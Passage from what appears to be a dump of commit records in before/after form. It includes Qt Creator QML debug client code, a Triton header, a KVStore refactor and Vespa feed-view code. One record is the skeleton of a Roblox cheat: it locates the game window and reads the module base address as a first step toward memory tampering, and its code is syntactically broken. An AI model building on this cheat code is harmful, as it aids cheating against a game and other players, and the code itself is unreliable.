QmlDebugObjectReference &object,\n const QString &expr)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"WATCH_EXPR_OBJECT\") << id << object.m_debugId << expr;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugObjectReference &object)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"WATCH_OBJECT\") << id << object.m_debugId;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugFileReference &\/*file*\/)\n{\n qWarning(\"QmlEngineDebugClient::addWatch(): Not implemented\");\n return 0;\n}\n\nvoid BaseEngineDebugClient::removeWatch(quint32 id)\n{\n if (status() == QmlDebugClient::Enabled) {\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"NO_WATCH\") << id;\n sendMessage(message);\n }\n}\n\nquint32 BaseEngineDebugClient::queryAvailableEngines()\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"LIST_ENGINES\") << id;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryRootContexts(const QmlDebugEngineReference &engine)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && engine.m_debugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"LIST_OBJECTS\") << id << engine.m_debugId;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryObject(const QmlDebugObjectReference &object)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && object.m_debugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"FETCH_OBJECT\") << id << object.m_debugId << false <<\n true;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryObjectRecursive(const QmlDebugObjectReference &object)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && object.m_debugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"FETCH_OBJECT\") << id << object.m_debugId << true <<\n true;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryExpressionResult(int objectDebugId,\n const QString &expr,\n int engineId)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"EVAL_EXPRESSION\") << id << objectDebugId << expr\n << engineId;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::setBindingForObject(\n int objectDebugId,\n const QString &propertyName,\n const QVariant &bindingExpression,\n bool isLiteralValue,\n QString source, int line)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"SET_BINDING\") << objectDebugId << propertyName\n << bindingExpression << isLiteralValue << source << line;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::resetBindingForObject(\n int objectDebugId,\n const QString &propertyName)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"RESET_BINDING\") << objectDebugId << propertyName;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::setMethodBody(\n int objectDebugId, const QString &methodName,\n const QString &methodBody)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"SET_METHOD_BODY\") << objectDebugId\n << methodName << methodBody;\n sendMessage(message);\n }\n return id;\n}\n\n} \/\/ namespace QmlDebug\n<commit_msg>QmlDebug: Fix warning about unitialized variable<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2012 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** GNU Lesser General Public License Usage\n**\n** This file may be used under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation and\n** appearing in the file LICENSE.LGPL included in the packaging of this file.\n** Please review the following information to ensure the GNU Lesser General\n** Public License version 2.1 requirements will be met:\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** Other Usage\n**\n** Alternatively, this file may be used in accordance with the terms and\n** conditions contained in a signed written agreement between you and Nokia.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"baseenginedebugclient.h\"\n#include \"qmldebugconstants.h\"\n\nnamespace QmlDebug {\n\nstruct QmlObjectData {\n QUrl url;\n int lineNumber;\n int columnNumber;\n QString idString;\n QString objectName;\n QString objectType;\n int objectId;\n int contextId;\n};\n\nQDataStream &operator>>(QDataStream &ds, QmlObjectData &data)\n{\n ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString\n >> data.objectName >> data.objectType >> data.objectId >> data.contextId;\n return ds;\n}\n\nstruct QmlObjectProperty {\n enum Type { Unknown, Basic, Object, List, SignalProperty };\n Type type;\n QString name;\n QVariant value;\n QString valueTypeName;\n QString binding;\n bool hasNotifySignal;\n};\n\nQDataStream &operator>>(QDataStream &ds, QmlObjectProperty &data)\n{\n int type;\n ds >> type >> data.name >> data.value >> data.valueTypeName\n >> data.binding >> data.hasNotifySignal;\n data.type = (QmlObjectProperty::Type)type;\n return ds;\n}\n\nvoid BaseEngineDebugClient::decode(QDataStream &ds,\n QmlDebugObjectReference &o,\n bool simple)\n{\n QmlObjectData data;\n ds >> data;\n int parentId = -1;\n if (objectName() == QLatin1String(\"QmlDebugger\") &&\n serviceVersion() >= Constants::CURRENT_SUPPORTED_VERSION )\n ds >> parentId;\n o.m_debugId = data.objectId;\n o.m_className = data.objectType;\n o.m_idString = data.idString;\n o.m_name = data.objectName;\n o.m_source.m_url = data.url;\n o.m_source.m_lineNumber = data.lineNumber;\n o.m_source.m_columnNumber = data.columnNumber;\n o.m_contextDebugId = data.contextId;\n o.m_needsMoreData = simple;\n o.m_parentId = parentId;\n\n if (simple)\n return;\n\n int childCount;\n bool recur;\n ds >> childCount >> recur;\n\n for (int ii = 0; ii < childCount; ++ii) {\n o.m_children.append(QmlDebugObjectReference());\n decode(ds, o.m_children.last(), !recur);\n }\n\n int propCount;\n ds >> propCount;\n\n for (int ii = 0; ii < propCount; ++ii) {\n QmlObjectProperty data;\n ds >> data;\n QmlDebugPropertyReference prop;\n prop.m_objectDebugId = o.m_debugId;\n prop.m_name = data.name;\n prop.m_binding = data.binding;\n prop.m_hasNotifySignal = data.hasNotifySignal;\n prop.m_valueTypeName = data.valueTypeName;\n switch (data.type) {\n case QmlObjectProperty::Basic:\n case QmlObjectProperty::List:\n case QmlObjectProperty::SignalProperty:\n {\n prop.m_value = data.value;\n break;\n }\n case QmlObjectProperty::Object:\n {\n QmlDebugObjectReference obj;\n obj.m_debugId = prop.m_value.toInt();\n prop.m_value = qVariantFromValue(obj);\n break;\n }\n case QmlObjectProperty::Unknown:\n break;\n }\n o.m_properties << prop;\n }\n}\n\nvoid BaseEngineDebugClient::decode(QDataStream &ds,\n QmlDebugContextReference &c)\n{\n ds >> c.m_name >> c.m_debugId;\n\n int contextCount;\n ds >> contextCount;\n\n for (int ii = 0; ii < contextCount; ++ii) {\n c.m_contexts.append(QmlDebugContextReference());\n decode(ds, c.m_contexts.last());\n }\n\n int objectCount;\n ds >> objectCount;\n\n for (int ii = 0; ii < objectCount; ++ii) {\n QmlDebugObjectReference obj;\n decode(ds, obj, true);\n obj.m_contextDebugId = c.m_debugId;\n c.m_objects << obj;\n }\n}\n\nvoid BaseEngineDebugClient::statusChanged(Status status)\n{\n emit newStatus(status);\n}\n\nvoid BaseEngineDebugClient::messageReceived(const QByteArray &data)\n{\n QDataStream ds(data);\n int queryId;\n QByteArray type;\n ds >> type;\n\n if (type == \"OBJECT_CREATED\") {\n emit newObjects();\n return;\n }\n\n ds >> queryId;\n\n if (type == \"LIST_ENGINES_R\") {\n int count;\n ds >> count;\n QmlDebugEngineReferenceList engines;\n for (int ii = 0; ii < count; ++ii) {\n QmlDebugEngineReference eng;\n ds >> eng.m_name;\n ds >> eng.m_debugId;\n engines << eng;\n }\n emit result(queryId, QVariant::fromValue(engines), type);\n } else if (type == \"LIST_OBJECTS_R\") {\n QmlDebugContextReference rootContext;\n if (!ds.atEnd())\n decode(ds, rootContext);\n emit result(queryId, QVariant::fromValue(rootContext), type);\n } else if (type == \"FETCH_OBJECT_R\") {\n QmlDebugObjectReference object;\n if (!ds.atEnd())\n decode(ds, object, false);\n emit result(queryId, QVariant::fromValue(object), type);\n } else if (type == \"EVAL_EXPRESSION_R\") {;\n QVariant exprResult;\n ds >> exprResult;\n emit result(queryId, exprResult, type);\n } else if (type == \"WATCH_PROPERTY_R\" ||\n type == \"WATCH_OBJECT_R\" ||\n type == \"WATCH_EXPR_OBJECT_R\") {\n bool valid;\n ds >> valid;\n emit result(queryId, valid, type);\n } else if (type == \"UPDATE_WATCH\") {\n int debugId;\n QByteArray name;\n QVariant value;\n ds >> debugId >> name >> value;\n emit valueChanged(debugId, name, value);\n }\n}\n\nBaseEngineDebugClient::BaseEngineDebugClient(const QString &clientName,\n QmlDebugConnection *conn)\n : QmlDebugClient(clientName, conn),\n m_nextId(1)\n{\n setObjectName(clientName);\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugPropertyReference &property)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"WATCH_PROPERTY\") << id << property.m_objectDebugId\n << property.m_name.toUtf8();\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugContextReference &\/*context*\/,\n const QString &\/*id*\/)\n{\n qWarning(\"QmlEngineDebugClient::addWatch(): Not implemented\");\n return 0;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugObjectReference &object,\n const QString &expr)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"WATCH_EXPR_OBJECT\") << id << object.m_debugId << expr;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugObjectReference &object)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"WATCH_OBJECT\") << id << object.m_debugId;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugFileReference &\/*file*\/)\n{\n qWarning(\"QmlEngineDebugClient::addWatch(): Not implemented\");\n return 0;\n}\n\nvoid BaseEngineDebugClient::removeWatch(quint32 id)\n{\n if (status() == QmlDebugClient::Enabled) {\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"NO_WATCH\") << id;\n sendMessage(message);\n }\n}\n\nquint32 BaseEngineDebugClient::queryAvailableEngines()\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"LIST_ENGINES\") << id;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryRootContexts(const QmlDebugEngineReference &engine)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && engine.m_debugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"LIST_OBJECTS\") << id << engine.m_debugId;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryObject(const QmlDebugObjectReference &object)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && object.m_debugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"FETCH_OBJECT\") << id << object.m_debugId << false <<\n true;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryObjectRecursive(const QmlDebugObjectReference &object)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && object.m_debugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"FETCH_OBJECT\") << id << object.m_debugId << true <<\n true;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::queryExpressionResult(int objectDebugId,\n const QString &expr,\n int engineId)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"EVAL_EXPRESSION\") << id << objectDebugId << expr\n << engineId;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::setBindingForObject(\n int objectDebugId,\n const QString &propertyName,\n const QVariant &bindingExpression,\n bool isLiteralValue,\n QString source, int line)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"SET_BINDING\") << objectDebugId << propertyName\n << bindingExpression << isLiteralValue << source << line;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::resetBindingForObject(\n int objectDebugId,\n const QString &propertyName)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"RESET_BINDING\") << objectDebugId << propertyName;\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::setMethodBody(\n int objectDebugId, const QString &methodName,\n const QString &methodBody)\n{\n quint32 id = 0;\n if (status() == QmlDebugClient::Enabled && objectDebugId != -1) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"SET_METHOD_BODY\") << objectDebugId\n << methodName << methodBody;\n sendMessage(message);\n }\n return id;\n}\n\n} \/\/ namespace QmlDebug\n<|endoftext|>"} {"text":"<commit_before>\/\/! \\file\n\/*\n** Copyright (C) - Triton\n**\n** This program is under the terms of the BSD License.\n*\/\n\n#ifndef TRITON_SYMBOLICVARIABLE_H\n#define TRITON_SYMBOLICVARIABLE_H\n\n#include <string>\n\n#include \"symbolicEnums.hpp\"\n#include \"tritonTypes.hpp\"\n\n\n\n\/\/! The Triton namespace\nnamespace triton {\n\/*!\n * \\addtogroup triton\n * @{\n *\/\n\n \/\/! The Engines namespace\n namespace engines {\n \/*!\n * \\ingroup triton\n * \\addtogroup engines\n * @{\n *\/\n\n \/\/! The Symbolic Execution namespace\n namespace symbolic {\n \/*!\n * \\ingroup engines\n * \\addtogroup symbolic\n * @{\n *\/\n\n \/*! \\class SymbolicVariable\n \\brief The symbolic variable class. *\/\n class SymbolicVariable {\n\n protected:\n\n \/\/! The symbolic variable kind. \\sa triton::engines::symbolic::symkind_e\n symkind_e kind;\n\n \/\/! The comment of the symbolic variable.\n std::string comment;\n\n \/\/! The name of the symbolic variable. \\sa TRITON_SYMVAR_NAME\n std::string name;\n\n \/\/! The id of the symbolic variable. This id is unique.\n triton::usize id;\n\n \/\/! The kind value of the symbolic variable.\n \/*!\n \\brief If the symbolic varialbe is a triton::engines::symbolic::REG, this value contains the register ID.\n \\biref If the symbolic varialbe is a triton::engines::symbolic::MEM, this value contains the memory access' address.\n *\/\n triton::uint64 kindValue;\n\n \/\/! The size (in bits) of the symbolic variable.\n triton::uint32 size;\n\n \/\/! The concrete value of the symbolic variable.\n triton::uint512 concreteValue;\n\n public:\n\n \/\/! Constructor.\n SymbolicVariable(symkind_e kind, triton::uint64 kindValue, triton::usize id, triton::uint32 size, const std::string& comment, triton::uint512 concreteValue=0);\n\n \/\/! Constructor by copy.\n SymbolicVariable(const SymbolicVariable ©);\n\n \/\/! Destructore.\n ~SymbolicVariable();\n\n \/\/! Returns the symbolic variable kind. \\sa triton::engines::symbolic::symkind_e.\n symkind_e getKind(void) const;\n\n \/\/! Returns the comment of the symbolic variable.\n const std::string& getComment(void) const;\n\n \/\/! Returns the name of the symbolic variable.\n const std::string& getName(void) const;\n\n \/\/! Returns the id of the symbolic variable. This id is unique.\n triton::usize getId(void) const;\n\n \/\/! Returns the kind value of the symbolic variable.\n triton::uint64 getKindValue(void) const;\n\n \/\/! Returns the size (in bits) of the symbolic variable.\n triton::uint32 getSize(void) const;\n\n \/\/! Returns the concrete value (if exists) of the symbolic variable.\n triton::uint512 getConcreteValue(void) const;\n\n \/\/! Sets the comment of the symbolic variable.\n void setComment(const std::string& comment);\n\n \/\/! Sets the concrete value of the symbolic variable.\n void setConcreteValue(triton::uint512 value);\n };\n\n \/\/! Displays a symbolic variable.\n std::ostream& operator<<(std::ostream& stream, const SymbolicVariable& symVar);\n\n \/\/! Displays a symbolic variable.\n std::ostream& operator<<(std::ostream& stream, const SymbolicVariable* symVar);\n\n \/*! @} End of symbolic namespace *\/\n };\n \/*! @} End of engines namespace *\/\n };\n\/*! @} End of triton namespace *\/\n};\n\n#endif \/* TRITON_SYMBOLICVARIABLE_H *\/\n\n<commit_msg>Update doxygen<commit_after>\/\/! \\file\n\/*\n** Copyright (C) - Triton\n**\n** This program is under the terms of the BSD License.\n*\/\n\n#ifndef TRITON_SYMBOLICVARIABLE_H\n#define TRITON_SYMBOLICVARIABLE_H\n\n#include <string>\n\n#include \"symbolicEnums.hpp\"\n#include \"tritonTypes.hpp\"\n\n\n\n\/\/! The Triton namespace\nnamespace triton {\n\/*!\n * \\addtogroup triton\n * @{\n *\/\n\n \/\/! The Engines namespace\n namespace engines {\n \/*!\n * \\ingroup triton\n * \\addtogroup engines\n * @{\n *\/\n\n \/\/! The Symbolic Execution namespace\n namespace symbolic {\n \/*!\n * \\ingroup engines\n * \\addtogroup symbolic\n * @{\n *\/\n\n \/*! \\class SymbolicVariable\n \\brief The symbolic variable class. *\/\n class SymbolicVariable {\n\n protected:\n\n \/\/! The symbolic variable kind. \\sa triton::engines::symbolic::symkind_e\n symkind_e kind;\n\n \/\/! The comment of the symbolic variable.\n std::string comment;\n\n \/\/! The name of the symbolic variable. \\sa TRITON_SYMVAR_NAME\n std::string name;\n\n \/\/! The id of the symbolic variable. This id is unique.\n triton::usize id;\n\n \/*! \\brief The kind value of the symbolic variable.\n *\n * \\description If the symbolic varialbe is a triton::engines::symbolic::REG, this value contains the register ID.\n * Otherwise, if the symbolic varialbe is a triton::engines::symbolic::MEM, this value contains the address of the\n * memory access.\n *\/\n triton::uint64 kindValue;\n\n \/\/! The size (in bits) of the symbolic variable.\n triton::uint32 size;\n\n \/\/! The concrete value of the symbolic variable.\n triton::uint512 concreteValue;\n\n public:\n\n \/\/! Constructor.\n SymbolicVariable(symkind_e kind, triton::uint64 kindValue, triton::usize id, triton::uint32 size, const std::string& comment, triton::uint512 concreteValue=0);\n\n \/\/! Constructor by copy.\n SymbolicVariable(const SymbolicVariable ©);\n\n \/\/! Destructore.\n ~SymbolicVariable();\n\n \/\/! Returns the symbolic variable kind. \\sa triton::engines::symbolic::symkind_e.\n symkind_e getKind(void) const;\n\n \/\/! Returns the comment of the symbolic variable.\n const std::string& getComment(void) const;\n\n \/\/! Returns the name of the symbolic variable.\n const std::string& getName(void) const;\n\n \/\/! Returns the id of the symbolic variable. This id is unique.\n triton::usize getId(void) const;\n\n \/\/! Returns the kind value of the symbolic variable.\n triton::uint64 getKindValue(void) const;\n\n \/\/! Returns the size (in bits) of the symbolic variable.\n triton::uint32 getSize(void) const;\n\n \/\/! Returns the concrete value (if exists) of the symbolic variable.\n triton::uint512 getConcreteValue(void) const;\n\n \/\/! Sets the comment of the symbolic variable.\n void setComment(const std::string& comment);\n\n \/\/! Sets the concrete value of the symbolic variable.\n void setConcreteValue(triton::uint512 value);\n };\n\n \/\/! Displays a symbolic variable.\n std::ostream& operator<<(std::ostream& stream, const SymbolicVariable& symVar);\n\n \/\/! Displays a symbolic variable.\n std::ostream& operator<<(std::ostream& stream, const SymbolicVariable* symVar);\n\n \/*! @} End of symbolic namespace *\/\n };\n \/*! @} End of engines namespace *\/\n };\n\/*! @} End of triton namespace *\/\n};\n\n#endif \/* TRITON_SYMBOLICVARIABLE_H *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#include \"config.h\"\n\n#include <string>\n#include <map>\n\n#include \"common.hh\"\n#include \"stats.hh\"\n#include \"kvstore.hh\"\n#include \"sqlite-kvstore.hh\"\n\nKVStore *KVStore::create(db_type type, EPStats &stats,\n const KVStoreConfig &conf) {\n SqliteStrategy *sqliteInstance = NULL;\n if (type == multi_db) {\n sqliteInstance = new MultiDBSingleTableSqliteStrategy(conf.location,\n conf.shardPattern,\n conf.initFile,\n conf.postInitFile,\n conf.shards);\n } else if (type == single_db) {\n sqliteInstance = new SingleTableSqliteStrategy(conf.location,\n conf.initFile,\n conf.postInitFile);\n } else if (type == single_mt_db) {\n sqliteInstance = new MultiTableSqliteStrategy(conf.location,\n conf.initFile,\n conf.postInitFile);\n } else {\n abort();\n }\n return new StrategicSqlite3(stats,\n shared_ptr<SqliteStrategy>(sqliteInstance));\n}\n<commit_msg>KVStore::create should switch over the enum.<commit_after>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#include \"config.h\"\n\n#include <string>\n#include <map>\n\n#include \"common.hh\"\n#include \"stats.hh\"\n#include \"kvstore.hh\"\n#include \"sqlite-kvstore.hh\"\n\nKVStore *KVStore::create(db_type type, EPStats &stats,\n const KVStoreConfig &conf) {\n SqliteStrategy *sqliteInstance = NULL;\n switch (type) {\n case multi_db:\n sqliteInstance = new MultiDBSingleTableSqliteStrategy(conf.location,\n conf.shardPattern,\n conf.initFile,\n conf.postInitFile,\n conf.shards);\n break;\n case single_db:\n sqliteInstance = new SingleTableSqliteStrategy(conf.location,\n conf.initFile,\n conf.postInitFile);\n break;\n case single_mt_db:\n sqliteInstance = new MultiTableSqliteStrategy(conf.location,\n conf.initFile,\n conf.postInitFile);\n break;\n }\n return new StrategicSqlite3(stats,\n shared_ptr<SqliteStrategy>(sqliteInstance));\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <windows.h>\n#include <TlHelp32.h>\n#include <TCHAR.h>\n#include <string>\n#include <sstream>\n\n\/\/Here is where the hax begin \n\nusing namespace std;\n\n\n\/\/FUNCTIONS\nDWORD GetModuleBaseAddress(DWORD dwProcessIdentifier, TCHAR *lpszModuleName)\n{\n HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessIdentifier);\n DWORD dwModuleBaseAddress = 0;\n if (hSnapshot != INVALID_HANDLE_VALUE)\n {\n MODULEENTRY32 ModuleEntry32 = { 0 };\n ModuleEntry32.dwSize = sizeof(MODULEENTRY32);\n if (Module32First(hSnapshot, &ModuleEntry32))\n {\n do\n {\n if (_tcscmp(ModuleEntry32.szModule, lpszModuleName) == 0)\n {\n dwModuleBaseAddress = (DWORD)ModuleEntry32.modBaseAddr;\n break;\n }\n } while (Module32Next(hSnapshot, &ModuleEntry32));\n }\n CloseHandle(hSnapshot);\n }\n return dwModuleBaseAddress;\n}\n\nint Main() {\n\/\/Here is where the magic starts\n\n}\n\n \n<commit_msg>Update main.cpp<commit_after>#include <iostream>\n#include <windows.h>\n#include <TlHelp32.h>\n#include <TCHAR.h>\n#include <string>\n#include <sstream>\n\n\/\/Here is where the hax begin \n\nusing namespace std;\n\n\n\/\/FUNCTIONS\nDWORD GetModuleBaseAddress(DWORD dwProcessIdentifier, TCHAR *lpszModuleName)\n{\n HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessIdentifier);\n DWORD dwModuleBaseAddress = 0;\n if (hSnapshot != INVALID_HANDLE_VALUE)\n {\n MODULEENTRY32 ModuleEntry32 = { 0 };\n ModuleEntry32.dwSize = sizeof(MODULEENTRY32);\n if (Module32First(hSnapshot, &ModuleEntry32))\n {\n do\n {\n if (_tcscmp(ModuleEntry32.szModule, lpszModuleName) == 0)\n {\n dwModuleBaseAddress = (DWORD)ModuleEntry32.modBaseAddr;\n break;\n }\n } while (Module32Next(hSnapshot, &ModuleEntry32));\n }\n CloseHandle(hSnapshot);\n }\n return dwModuleBaseAddress;\n}\n\n\/\/Costum function for you guys to sleep a thread\n\tint sleepthread(int amountoftime) {\n\t\tSetConsoleTitle(\"Thread is sleeping for \" + amtTime + \" ;*\"); \n\t\tSleep(amountoftime);\n\t}\n\nint Main() {\n\/\/Here is where the magic starts\nHWND hWnd = FindWindow(0, \"ROBLOX\"); \/\/Finding RBLX window this is a low quality process if you know how to code and use this i recommened you to change this\nstd::cout << \"Waiting for Roblox...\";\nwhile (hWnd == 0) { \/\/ Waiting until found\n Sleep(250);\n hWnd = FindWindow(0, \"ROBLOX\");\n \n\n }\n \n system(\"cls\");\/\/making this better later\n \/\/Definition of pId\n DWORD pId;\n \/\/Get process id\n GetWindowThreadProcessId(hWnd, &pId);\n \n \/\/Here is where we start getting the modulebase\n DWORD RBLXBASEAddr = GetModuleBaseAddress(pId, \"RobloxPlayerBeta.exe\"); \/\/ Getting base address of GD\n std::cout << \"Base Address: \" << hex << GetModuleBaseAddress(;\n\n return 0; \n \n}\n\n \n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"searchable_feed_view.h\"\n#include \"forcecommitcontext.h\"\n#include \"operationdonecontext.h\"\n#include \"removedonecontext.h\"\n#include <vespa\/searchcore\/proton\/feedoperation\/compact_lid_space_operation.h>\n#include <vespa\/vespalib\/util\/isequencedtaskexecutor.h>\n#include <vespa\/document\/fieldvalue\/document.h>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".proton.server.searchable_feed_view\");\n\nusing document::BucketId;\nusing document::Document;\nusing document::DocumentId;\nusing document::DocumentTypeRepo;\nusing document::DocumentUpdate;\nusing search::index::Schema;\nusing storage::spi::BucketInfoResult;\nusing storage::spi::Timestamp;\nusing vespalib::makeLambdaTask;\n\nnamespace proton {\n\nSearchableFeedView::Context::Context(const IIndexWriter::SP &indexWriter)\n : _indexWriter(indexWriter)\n{}\n\n\nSearchableFeedView::Context::~Context() = default;\n\nSearchableFeedView::SearchableFeedView(StoreOnlyFeedView::Context storeOnlyCtx, const PersistentParams ¶ms,\n const FastAccessFeedView::Context &fastUpdateCtx, Context ctx)\n : Parent(std::move(storeOnlyCtx), params, fastUpdateCtx),\n _indexWriter(ctx._indexWriter),\n _hasIndexedFields(_schema->getNumIndexFields() > 0)\n{ }\n\nSearchableFeedView::~SearchableFeedView() = default;\n\nvoid\nSearchableFeedView::putIndexedFields(SerialNum serialNum, search::DocumentIdT lid, const DocumentSP &newDoc,\n OnOperationDoneType onWriteDone)\n{\n if (!hasIndexedFields()) {\n return;\n }\n _writeService.index().execute(\n makeLambdaTask([this, serialNum, lid, newDoc, onWriteDone] {\n performIndexPut(serialNum, lid, newDoc, onWriteDone);\n }));\n}\n\nvoid\nSearchableFeedView::performIndexPut(SerialNum serialNum, search::DocumentIdT lid, const Document &doc, OnOperationDoneType onWriteDone)\n{\n (void) onWriteDone;\n assert(_writeService.index().isCurrentThread());\n VLOG(getDebugLevel(lid, doc.getId()),\n \"database(%s): performIndexPut: serialNum(%\" PRIu64 \"), docId(%s), lid(%d)\",\n _params._docTypeName.toString().c_str(), serialNum, doc.getId().toString().c_str(), lid);\n\n _indexWriter->put(serialNum, doc, lid, onWriteDone);\n}\n\nvoid\nSearchableFeedView::performIndexPut(SerialNum serialNum, search::DocumentIdT lid, const DocumentSP &doc, OnOperationDoneType onWriteDone)\n{\n performIndexPut(serialNum, lid, *doc, onWriteDone);\n}\n\nvoid\nSearchableFeedView::performIndexPut(SerialNum serialNum, search::DocumentIdT lid, FutureDoc futureDoc, OnOperationDoneType onWriteDone)\n{\n const auto &doc = futureDoc.get();\n if (doc) {\n performIndexPut(serialNum, lid, *doc, onWriteDone);\n }\n}\n\nvoid\nSearchableFeedView::heartBeatIndexedFields(SerialNum serialNum, DoneCallback onDone)\n{\n _writeService.index().execute(makeLambdaTask([this, serialNum, onDone] {\n (void) onDone;\n performIndexHeartBeat(serialNum);\n }));\n}\n\nvoid\nSearchableFeedView::performIndexHeartBeat(SerialNum serialNum)\n{\n 